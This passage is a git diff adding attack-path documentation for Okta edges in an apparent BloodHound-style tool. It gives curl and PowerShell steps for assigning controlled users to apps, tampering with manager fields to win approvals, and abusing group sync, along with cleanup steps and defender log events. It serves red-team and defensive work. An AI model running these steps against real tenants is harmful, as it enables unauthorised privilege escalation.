[Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) diff --git a/descriptions/edges/Okta_ManageApp.md b/descriptions/edges/Okta_ManageApp.md index bfc9659..7290f7f 100644 --- a/descriptions/edges/Okta_ManageApp.md +++ b/descriptions/edges/Okta_ManageApp.md @@ -11,3 +11,116 @@ graph LR u1 -- Okta_ManageApp --> app1 g1 -- Okta_ManageApp --> app2 ``` + +## Abuse Info + +An attacker who controls the source principal can manage the destination application through custom-role application permissions such as `okta.apps.manage`. This is similar to `Okta_AppAdmin`, but it comes from a custom role and resource set rather than the built-in Application Administrator role. If the source is a group, compromise any group member first. If the source is an application, use that application's OAuth client authentication method to obtain a management API access token. + +Using the Admin Console: + +1. Authenticate as the source principal. +2. Open the destination application in the Admin Console or query it through the Okta Apps API. +3. Assign an attacker-controlled user or group to the application. This grants access to the downstream application when access is based on Okta assignment. +4. Set any app-specific assignment attributes needed to receive the desired downstream role. +5. Modify sign-on, provisioning, or credential settings where useful. For example, add an attacker-controlled redirect URI to an OIDC client, change a SAML ACS URL in a controlled test window, add group assignments, rotate client credentials, or update SCIM provisioning credentials. +6. Launch the application or use the modified application credentials to authenticate to the downstream service. + +This edge can also be used to create follow-on Okta paths. For example, after modifying a service application, obtain or rotate credentials and then abuse any Okta admin role assigned to that application. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, the destination app ID, and the controlled user or group ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export CONTROLLED_USER_ID="00u..." + export CONTROLLED_GROUP_ID="00g..." + ``` + +2. Assign a controlled user to the app. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\",\"scope\":\"USER\"}" + ``` + +3. Or assign a controlled group to the app. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$CONTROLLED_GROUP_ID" \ + -d '{}' + ``` + +4. Retrieve and preserve the original app configuration before changing sign-on, provisioning, or credential settings. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID" > original-app.json + ``` + +5. Apply the minimum configuration change required for the path, then verify the controlled user can launch the app or the modified credential can authenticate. + +## Cleanup after Abuse + +Cleanup restores the destination application's original assignments, SSO settings, provisioning configuration, mappings, and credentials, then removes downstream accounts or roles created by the abuse. + +Cleanup using Admin Console: + +1. Open the destination application in **Applications** > **Applications**. +2. Remove temporary user and group assignments. +3. Restore redirect URIs, SAML endpoints, sign-on settings, provisioning endpoints, attribute mappings, and credential settings. +4. Rotate or deactivate temporary client secrets, signing keys, and provisioning credentials. +5. Confirm downstream accounts or roles created by provisioning have been removed. + +Cleanup using API: + +1. Remove temporary user assignments. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Remove temporary group assignments. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/groups/$CONTROLLED_GROUP_ID" + ``` + +3. Use the Apps API to replace the app configuration with the original settings saved before abuse. +4. Use app credential endpoints to rotate or deactivate temporary credentials. +5. Query the app assignments and app configuration to confirm the temporary access and modified settings are gone. + +## Opsec Considerations + +Okta records application updates, assignment changes, client credential changes, and provisioning changes in the System Log. Relevant event types include `application.user_membership.add`, `application.user_membership.remove`, `group.application_assignment.add`, `group.application_assignment.remove`, `application.lifecycle.update`, `application.provision.user.sync`, `application.provision.group_membership.update`, `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, and `app.oauth2.credentials.lifecycle.delete`. + +Modifying SSO endpoints or provisioning credentials is noisy and can break production authentication, so an attacker will usually prefer adding a narrow assignment or credential instead of replacing existing settings. The API path records caller, source IP, client, request URI, target app, and changed assignment or configuration fields. + +## References + +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta client secret rotation](https://developer.okta.com/docs/guides/client-secret-rotation-key/main/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) +- [Eli Guy: Attack Techniques in Okta - Part 2 - Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_ManagerOf.md b/descriptions/edges/Okta_ManagerOf.md index f513883..c1f65b6 100644 --- a/descriptions/edges/Okta_ManagerOf.md +++ b/descriptions/edges/Okta_ManagerOf.md @@ -18,3 +18,199 @@ graph LR u3 -. Okta_ManagerOf .-> u4 u3 -. Okta_ManagerOf .-> u5 ``` + +## Abuse Info + +`Okta_ManagerOf` is an organizational metadata edge, not an Okta authentication privilege by itself. It becomes abusable when Access Requests, Identity Governance, Okta Workflows, HR workflows, group rules, app approvals, ticketing, or account recovery processes trust the source manager relationship for decisions that affect the destination user. + +OpenHound emits this edge when the destination user's `managerId` profile value resolves to the source user's Okta login. Because Okta does not enforce referential integrity on the default `manager` and `managerId` profile fields, the real authority usually lives in the process or source system that writes those attributes. + +To abuse this edge by controlling the source manager: + +1. Compromise the source manager's Okta account, email, workflow approval channel, or ticketing account. +2. Identify Access Requests, Identity Governance, Workflow, HR, or ticketing processes where `MANAGER` approval grants access to groups, applications, entitlements, account recovery, or profile changes. +3. Submit or wait for a request affecting the destination user. +4. Approve the request as the source manager. +5. Use the resulting destination-user change, such as group membership, app assignment, temporary access, or profile update, to continue the attack path. + +To abuse this edge by controlling the profile source: + +1. Identify whether the destination user's `managerId` comes from Okta, AD, LDAP, HRIS, Workday, or another profile source. +2. Change the destination user's manager value to a controlled manager login in the authoritative source. +3. Trigger or wait for import/profile sync. +4. Submit a manager-approved access request for the destination user. +5. Approve as the controlled manager and use the resulting access. + +Using the Admin Console and Access Requests: + +1. Open the destination user in **Directory** > **People** and record the `manager` and `managerId` profile values. +2. Open profile mappings or the profile source to determine where the manager fields are mastered. +3. In Okta Access Requests, review request types that use manager approval. +4. Submit a request for the destination user or wait for an existing request that grants useful group or app access. +5. Approve the request from the source manager's account or workflow channel. +6. Verify the destination user received the expected group membership, app assignment, or entitlement. +7. Sign in or refresh sessions as the destination user only after the granted access is visible. + +Using the Okta API: + +1. Set variables for the manager, destination user, and optional temporary access. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export MANAGER_USER_ID="00u..." + export TARGET_USER_ID="00u..." + export TEMP_MANAGER_LOGIN="controlled.manager@contoso.com" + export TEMP_GROUP_ID="00g..." + export TEMP_APP_ID="0oa..." + ``` + +2. Capture the current manager state for the destination user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | tee /tmp/okta-managerof-target-original.json + + jq '{id, login: .profile.login, manager: .profile.manager, managerId: .profile.managerId, profileSource: .credentials.provider}' \ + /tmp/okta-managerof-target-original.json + ``` + +3. Verify the source manager identity. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$MANAGER_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email}' + ``` + +4. If Okta masters the destination user's manager fields, temporarily change `managerId` to a controlled manager login. If AD, LDAP, HRIS, or another app masters the field, make the equivalent change in that source system and use the Okta API only to verify the import. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"managerId\":\"$TEMP_MANAGER_LOGIN\"}}" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, login: .profile.login, managerId: .profile.managerId}' + ``` + +5. Identify Access Request types that use manager approval and target groups or applications. Okta's Governance API uses OAuth scopes; replace the header with `Authorization: Bearer $OKTA_ACCESS_TOKEN` if your org requires scoped OAuth for this API. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/governance/api/v1/request-types?limit=200" \ + | jq '.data[]? | select(.approvalSettings.approvals[]?.approverType == "MANAGER") | {id, name, status, resourceSettings, approvalSettings}' + ``` + +6. After manager approval grants access, verify the concrete result. These examples check group membership and direct app assignment for the destination user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.TARGET_USER_ID) | [.id, .profile.login] | @tsv' + + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TEMP_APP_ID/users/$TARGET_USER_ID" + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_ManagerOf` closes or reverses the manager-approved access change, restores the destination user's manager profile fields in the authoritative source, and revokes sessions created after the temporary approval. + +Cleanup using Admin Console: + +1. Close, expire, or revoke the Access Request, workflow approval, ticket, or HR change that was approved through the source manager. +2. Remove the group membership, app assignment, entitlement, or profile change granted to the destination user. +3. Restore the destination user's original `manager` and `managerId` values in the authoritative source, such as Okta, AD, LDAP, HRIS, or Workday. +4. Trigger or wait for import/profile sync if the manager field is externally mastered. +5. Revoke sessions for the destination user if the granted access was used. +6. Verify the destination user again points to the legitimate manager and no longer has the temporary access. + +Cleanup using API: + +1. Restore the destination user's original Okta-mastered `manager` and `managerId` values. If the field is source-mastered, perform the equivalent restore through the source-system API and use this Okta request only for verification. + + ```bash + export ORIGINAL_MANAGER="$(jq -r '.profile.manager // empty' /tmp/okta-managerof-target-original.json)" + export ORIGINAL_MANAGER_ID="$(jq -r '.profile.managerId // empty' /tmp/okta-managerof-target-original.json)" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"manager\":\"$ORIGINAL_MANAGER\",\"managerId\":\"$ORIGINAL_MANAGER_ID\"}}" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, login: .profile.login, manager: .profile.manager, managerId: .profile.managerId}' + ``` + +2. Remove group membership granted by the manager-approved workflow. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$TARGET_USER_ID" + ``` + +3. Remove direct app assignment granted by the workflow. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TEMP_APP_ID/users/$TARGET_USER_ID" + ``` + +4. Revoke sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the manager fields and temporary access are restored. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, login: .profile.login, manager: .profile.manager, managerId: .profile.managerId}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.TARGET_USER_ID)' + ``` + +## Opsec Considerations + +Manager-based abuse often appears first in Access Requests, workflow, ticketing, HR, or source-directory audit logs rather than as a direct Okta admin action. In Okta, review `user.account.update_profile`, group membership events, application assignment events, session creation, and suspicious manager approvals shortly before new privileged access. + +Because the collector maps `managerId` to an Okta login, defenders should also alert on manager fields that do not match valid user logins, manager changes shortly before approvals, and requests where the approving manager's network, device, or session context is unusual. + +## References + +- [Okta Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta Profile Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ProfileMapping/) +- [Okta Access Requests API](https://developer.okta.com/docs/api/iga/openapi/governance.requests.admin.v1/overview/) +- [Okta Access Requests help](https://help.okta.com/en-us/content/topics/identity-governance/access-requests/ar-overview.htm) +- [Okta Group API: Unassign a user from a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/unassignUserFromGroup) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_MemberOf.md b/descriptions/edges/Okta_MemberOf.md index 765a9e8..3dd5bf8 100644 --- a/descriptions/edges/Okta_MemberOf.md +++ b/descriptions/edges/Okta_MemberOf.md @@ -14,3 +14,149 @@ graph LR u2 -- Okta_MemberOf --> g2 u3 -- Okta_MemberOf --> g2 ``` + +## Abuse Info + +An attacker who controls the source user inherits the destination group's Okta entitlements. Depending on how the group is used, this can grant application assignments, sign-on or MFA policy targeting, downstream group push access, imported directory privileges, or admin role assignments that are granted to the group. + +This edge is directly abusable when the attacker already controls the source user. It also becomes a privilege escalation primitive when the attacker can create the membership through another edge such as `Okta_AddMember`, `Okta_GroupMembershipAdmin`, `Okta_GroupAdmin`, or `Okta_OrgAdmin`. + +Using the Okta dashboard and Admin Console: + +1. Authenticate as the source user. If the source user was added to the group during the operation, start a new browser session so Okta evaluates the new membership. +2. Open the Okta end-user dashboard and identify applications that appear because of the destination group. +3. Launch assigned applications and complete any sign-on policy requirements. +4. If the destination group is pushed or synced to another system, wait for provisioning or trigger the relevant sync before using the downstream role or group. +5. If the destination group has an Okta admin role assignment, open the Admin Console and verify the inherited administrative surface. +6. Request new OAuth/OIDC tokens for applications that use group claims, because old tokens may not contain the newly inherited group. + +Using the Okta API: + +1. Set the Okta org URL, API credential, source user ID, and destination group ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + ``` + +2. Verify that the source user is a member of the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.SOURCE_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +3. Review the destination group. `OKTA_GROUP` memberships can be managed directly in Okta; `APP_GROUP` memberships are mastered by an application or directory. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name, description: .profile.description}' + ``` + +4. Enumerate applications assigned to the group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/apps?limit=200" \ + | jq -r '.[] | [.id, .label, .name, .status] | @tsv' + ``` + +5. If the abuse path required adding the user to the group, add the controlled user with the Groups API. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$SOURCE_USER_ID" + ``` + + A successful request returns `204 No Content`. + +6. Revoke sessions or start a new login for the source user when group claims or app entitlements need to refresh. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +7. Re-authenticate as the source user, launch group-assigned applications, and follow any downstream edges from the destination group. + +## Cleanup after Abuse + +Cleanup for `Okta_MemberOf` means removing any temporary group membership, invalidating sessions or tokens that inherited group claims, and waiting for downstream provisioning to remove access granted by the group. + +Cleanup using Admin Console: + +1. Open **Directory** > **Groups** and select the destination group. +2. Remove the source user if that membership was created for the operation. +3. Add back any legitimate users that were removed. +4. Open **Directory** > **People**, select the source user, and revoke sessions if stale group claims should be invalidated. +5. Check applications and downstream systems that receive the group through assignment, group push, SCIM, or directory sync. + +Cleanup using API: + +1. Remove the temporary membership from the destination group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$SOURCE_USER_ID" + ``` + + A successful request returns `204 No Content`. + +2. Revoke the user's Okta sessions and OAuth tokens when token claims need to be refreshed. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +3. Confirm the membership is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.SOURCE_USER_ID)' + ``` + +4. Verify that the user's group-assigned app access no longer resolves through the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/apps?limit=200" \ + | jq -r '.[] | [.id, .label, .status] | @tsv' + ``` + +## Opsec Considerations + +Adding or removing a user from a group creates `group.user_membership.add` and `group.user_membership.remove` System Log events. The target group name, target user, actor, client, source IP, and request URI are available to defenders. + +Using an existing membership produces less administrative telemetry, but application launches, token minting, new group claims, downstream group push events, and first-time access to sensitive SaaS applications still create audit trails. Groups used for admin roles, privileged apps, VPN access, or sign-on policies are common alerting targets. + +## References + +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) diff --git a/descriptions/edges/Okta_MembershipSync.md b/descriptions/edges/Okta_MembershipSync.md index 601ccdd..12041e1 100644 --- a/descriptions/edges/Okta_MembershipSync.md +++ b/descriptions/edges/Okta_MembershipSync.md @@ -1,18 +1,18 @@ ## General Information -The traversable hybrid Okta_MembershipSync edges represent the synchronization relationships between groups in external directories and their corresponding groups in Okta: +The traversable hybrid Okta_MembershipSync edges represent synchronization relationships between source groups and destination Okta groups. OpenHound emits these edges for imported Active Directory groups and for Okta Org2Org group synchronization. ```mermaid graph TB subgraph ad["Active Directory"] - adg1("Group IT") - adg2("Group HR") + adg1("AD_Group IT") + adg2("AD_Group HR") end subgraph okta["Okta Org A"] g1("Okta_Group IT") g2("Okta_Group HR") adg1 -- Okta_MembershipSync --> g1 - g2 -- Okta_MembershipSync --> adg2 + adg2 -- Okta_MembershipSync --> g2 end subgraph okta2["Okta Org B"] g3("Okta_Group IT") @@ -30,12 +30,197 @@ graph LR subgraph target_org["Okta Org Adatum"] u2("Okta_User alice\@adatum.com") g2("Okta_Group IT") - app2("Okta_Application Contoso Sync API Service") end u1 -->|Okta_MemberOf| g1 u1 .->|Okta_UserSync| u2 u1 .->|Okta_UserPush| app1 - u2 -->|Okta_MemberOf| g2 g1 .->|Okta_GroupPush| app1 g1 -->|Okta_MembershipSync| g2 + u2 -->|Okta_MemberOf| g2 ``` + +## Abuse Info + +An attacker who controls the source group can influence the destination group through membership synchronization. This can grant Okta application assignments, sign-on policy targeting, downstream group push, or indirect role assignments tied to the destination group. + +The source can be an Active Directory group imported into Okta, or a source Okta group synced through Org2Org. The attacker adds a controlled source identity to the source group, waits for synchronization, then uses the linked destination identity and the destination group's entitlements. + +Using Active Directory as the source: + +1. Gain control over the source AD group or an account that can modify its membership. +2. Add an attacker-controlled AD user to the source AD group. +3. Ensure the AD user is linked to, or will import as, an Okta user in the destination org. +4. Trigger the AD import or wait for the scheduled AD agent synchronization. +5. Confirm the linked Okta user is now a member of the destination Okta group. +6. Refresh the Okta session for the linked user and use any app assignments, policies, group-push paths, or admin role assignments granted by the destination group. + +Using Active Directory commands and Okta API verification: + +1. Add the controlled AD user to the source AD group. + + ```powershell + Import-Module ActiveDirectory + + $SourceAdGroup = "CN=IT,OU=Groups,DC=contoso,DC=com" + $ControlledAdUser = "CN=alice,OU=Users,DC=contoso,DC=com" + + Add-ADGroupMember -Identity $SourceAdGroup -Members $ControlledAdUser + ``` + +2. After import runs, verify the destination Okta group contains the linked Okta user. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_GROUP_ID="00g..." + export CONTROLLED_OKTA_USER_ID="00u..." + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +3. Enumerate app assignments granted by the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/apps?limit=200" \ + | jq -r '.[] | [.id, .label, .name, .status] | @tsv' + ``` + +Using an Okta source group in an Org2Org path: + +1. Gain control over membership of the source Okta group. +2. Add the source-org user that links to an attacker-controlled target-org user. +3. Let Org2Org provisioning sync the source group membership into the destination org. +4. Sign in as the target-org linked user and use the destination group's entitlements. + +Using Okta APIs for an Org2Org source group: + +1. Set variables for the source org, source group, source user, target org, target group, and linked target user. + + ```bash + export SOURCE_OKTA_ORG="https://source.okta.com" + export SOURCE_OKTA_API_TOKEN="REDACTED_SOURCE" + export SOURCE_GROUP_ID="00g..." + export SOURCE_USER_ID="00u..." + export TARGET_OKTA_ORG="https://target.okta.com" + export TARGET_OKTA_API_TOKEN="REDACTED_TARGET" + export TARGET_GROUP_ID="00g..." + export TARGET_USER_ID="00u..." + ``` + +2. Add the source user to the source group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $SOURCE_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$SOURCE_OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$SOURCE_USER_ID" + ``` + + A successful request returns `204 No Content`. + +3. Verify the source membership. + + ```bash + curl -sS \ + -H "Authorization: SSWS $SOURCE_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$SOURCE_OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.SOURCE_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +4. After Org2Org provisioning runs, verify the target membership. + + ```bash + curl -sS \ + -H "Authorization: SSWS $TARGET_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$TARGET_OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.TARGET_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_MembershipSync` means removing the temporary member from the authoritative source group, synchronizing again, and confirming the destination group and any downstream applications no longer grant the temporary access. + +Cleanup using Admin Console: + +1. Restore the source group's membership in the authoritative system, such as AD or the source Okta org. +2. Trigger the relevant import, push, or synchronization job where available. +3. Open the destination Okta group and verify the attacker-controlled destination user is gone. +4. Restore any legitimate users removed from the source group. +5. Check downstream applications that receive the destination group through assignment or group push. +6. Revoke sessions for the destination user if group claims or app access were used. + +Cleanup using API: + +1. Remove the controlled AD user from the source AD group when AD is authoritative. + + ```powershell + Import-Module ActiveDirectory + + $SourceAdGroup = "CN=IT,OU=Groups,DC=contoso,DC=com" + $ControlledAdUser = "CN=alice,OU=Users,DC=contoso,DC=com" + + Remove-ADGroupMember -Identity $SourceAdGroup -Members $ControlledAdUser -Confirm:$false + ``` + +2. Remove the controlled source user from the source Okta group when Org2Org is authoritative. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $SOURCE_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$SOURCE_OKTA_ORG/api/v1/groups/$SOURCE_GROUP_ID/users/$SOURCE_USER_ID" + ``` + +3. After synchronization runs, verify the target group no longer contains the target user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $TARGET_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$TARGET_OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.TARGET_USER_ID)' + ``` + +4. If a temporary membership remains in an Okta-managed destination group, remove it directly. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $TARGET_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$TARGET_OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$TARGET_USER_ID" + ``` + +5. Revoke sessions and OAuth tokens for the affected destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $TARGET_OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$TARGET_OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Membership changes are visible in the authoritative source system, Okta import or provisioning logs, and often the destination system. Privileged group membership that appears through a sync connector rather than direct Okta administration is still detectable when defenders correlate source and destination group changes. + +High-signal patterns include adding a user to an AD group shortly before Okta import, Org2Org group membership changes outside normal onboarding, and immediate application launch or admin-console activity by the newly synced destination user. + +## References + +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Group Push Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/GroupPushMapping/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Add-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/add-adgroupmember) +- [Microsoft Remove-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/remove-adgroupmember) +- [Okta SCIM Attack Tool](https://github.com/authomize/okta_scim_attack_tool) diff --git a/descriptions/edges/Okta_MobileAdmin.md b/descriptions/edges/Okta_MobileAdmin.md index 74981c5..e128644 100644 --- a/descriptions/edges/Okta_MobileAdmin.md +++ b/descriptions/edges/Okta_MobileAdmin.md @@ -10,3 +10,196 @@ graph LR u1 -- Okta_MobileAdmin --> d1 u1 -- Okta_MobileAdmin --> d2 ``` + +## Abuse Info + +An attacker who controls the source principal can manage the destination device's Okta trust and lifecycle state. This does not give the attacker operating-system control of the device by itself. The impact is that the attacker can disrupt or reshape the device state Okta uses for Okta Verify, FastPass, device assurance, device-user links, and app sign-in policy decisions. + +For a user source, sign in as that user. For a group source, compromise any member of the source group because group role assignments are inherited by group members. For an application source, use a valid management API token for the service app or client that has the Mobile Administrator role assignment. + +Using the Admin Console: + +1. Sign in to the Okta Admin Console as the source user, as a member of the source group, or with the source service application's management access. +2. Open **Directory** > **Devices** and select the destination device from the edge. +3. Review the device status, platform, management state, linked users, and whether the device is used by Okta Verify or device assurance. +4. Choose the smallest lifecycle action that supports the path: + - Suspend an active device to temporarily pause Okta Verify access from that device. + - Deactivate an active or suspended device to remove device-user links, deactivate enrolled Okta Verify factors on that device, and revoke desktop device certificates where applicable. + - Delete a deactivated device when the goal is destructive removal from Universal Directory. +5. If the target application requires a registered, managed, or assured device, combine the device lifecycle change with a separate password, factor, or session path against the target user. The usual objective is to force re-enrollment or prevent the legitimate device from satisfying policy while an attacker-controlled device or weaker policy condition is used. +6. Use the resulting device-trust state to complete the downstream path, such as launching an app after satisfying a weaker rule, forcing help desk re-enrollment, or denying the legitimate user device-bound access. + +Using the Okta Devices API: + +1. Set the Okta org URL, a token for the 